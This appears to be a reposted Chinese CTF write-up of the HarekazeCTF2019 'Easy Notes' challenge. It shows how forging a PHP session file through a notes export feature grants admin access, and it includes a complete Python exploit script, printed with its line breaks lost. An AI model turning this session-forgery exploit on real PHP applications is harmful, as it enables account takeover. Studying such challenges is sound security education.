[HarekazeCTF2019]Easy Notes解题步骤详解

admin 2022年5月10日22:23:48评论179 views字数 1447阅读4分49秒阅读模式

[HarekazeCTF2019]Easy Notes解题步骤详解

#题目

[HarekazeCTF2019]Easy Notes解题步骤详解

*有源码,是一个笔记本系统

*在登陆处进行了匹配,只允许输入 4 到 64 位规定字符,且不是前端验证

*点击get flag提示不是admin

[HarekazeCTF2019]Easy Notes解题步骤详解

#flag.php

 

 <section>        <h2>Get flag</h2>        <p>          <?php          if (is_admin()) {            echo "Congratulations! The flag is: <code>" . getenv('FLAG') . "</code>";          } else {            echo "You are not an admin :(";          }          ?>        </p>      </section>

需要满足is_admin()函数才会给你flag

那我们去看一下is_admin()方法

好像也没有什么东西

session 文件以 sess_ 开头,且只含有 a-z,A-Z,0-9,-

看到 $filename 处可以满足所有的条件

[HarekazeCTF2019]Easy Notes解题步骤详解

构造 user 为 sess_ ,type 为 . ,经过处理之后,$path 就是

TEMP_DIR/sess_0123456789abcdef 这就伪造了一个 session 文件

然后向这个文件写入 note 的 title

[HarekazeCTF2019]Easy Notes解题步骤详解

php 默认的 session 反序列化方式是 php ,其存储方式为 键名+竖线+经过serialize函数序列处理的值 ,这就可以伪造 admin 了

在最后,它会将构造的 $filename 返回,这样就可以拿到构造出的 admin 的 session 数据

[HarekazeCTF2019]Easy Notes解题步骤详解

session 伪造,session 反序列化

import reimport requestsURL = 'http://32992b00-dbfe-47e5-ac0f-4657682bfb40.node3.buuoj.cn/'while True:# login as sess_sess = requests.Session()sess.post(URL + 'login.php', data={'user': 'sess_'})# make a crafted notesess.post(URL + 'add.php', data={'title': '|N;admin|b:1;','body': 'hello'})# make a fake sessionr = sess.get(URL + 'export.php?type=.').headers['Content-Disposition']print(r)  sessid = re.findall(r'sess_([0-9a-z-]+)', r)[0]print(sessid)  # get the flagr = requests.get(URL + '?page=flag', cookies={'PHPSESSID': sessid}).content.decode('utf-8')flag = re.findall(r'HarekazeCTF{.+}', r)if len(flag) > 0:print(flag[0])break

替换session

原文来自CSDN博主「浩歌已行」|侵删






[HarekazeCTF2019]Easy Notes解题步骤详解

[HarekazeCTF2019]Easy Notes解题步骤详解


中电运行是专业专注培养能源企业IT工匠和提供IT整体解决方案的服务商,也是能源互联网安全专家。

为方便大家沟通,中电运行开通“中电运行交流群”,诚挚欢迎能源企业和相关人士,以及对网络安全感兴趣的群体加入本群,真诚交流,互相学习[HarekazeCTF2019]Easy Notes解题步骤详解[HarekazeCTF2019]Easy Notes解题步骤详解。想加入我们就给我们留言吧[HarekazeCTF2019]Easy Notes解题步骤详解

[HarekazeCTF2019]Easy Notes解题步骤详解

[HarekazeCTF2019]Easy Notes解题步骤详解

小白必读!寰宇卫士手把手教你栈溢出(上)

手把手教你栈溢出(中)

手把手教你栈溢出(下)

《信息安全知识》之法律关键常识汇总

CTF经验分享|带你入门带你飞!

[HarekazeCTF2019]Easy Notes解题步骤详解

原文始发于微信公众号(寰宇卫士):[HarekazeCTF2019]Easy Notes解题步骤详解

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月10日22:23:48
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   [HarekazeCTF2019]Easy Notes解题步骤详解http://cn-sec.com/archives/995349.html

发表评论

匿名网友 填写信息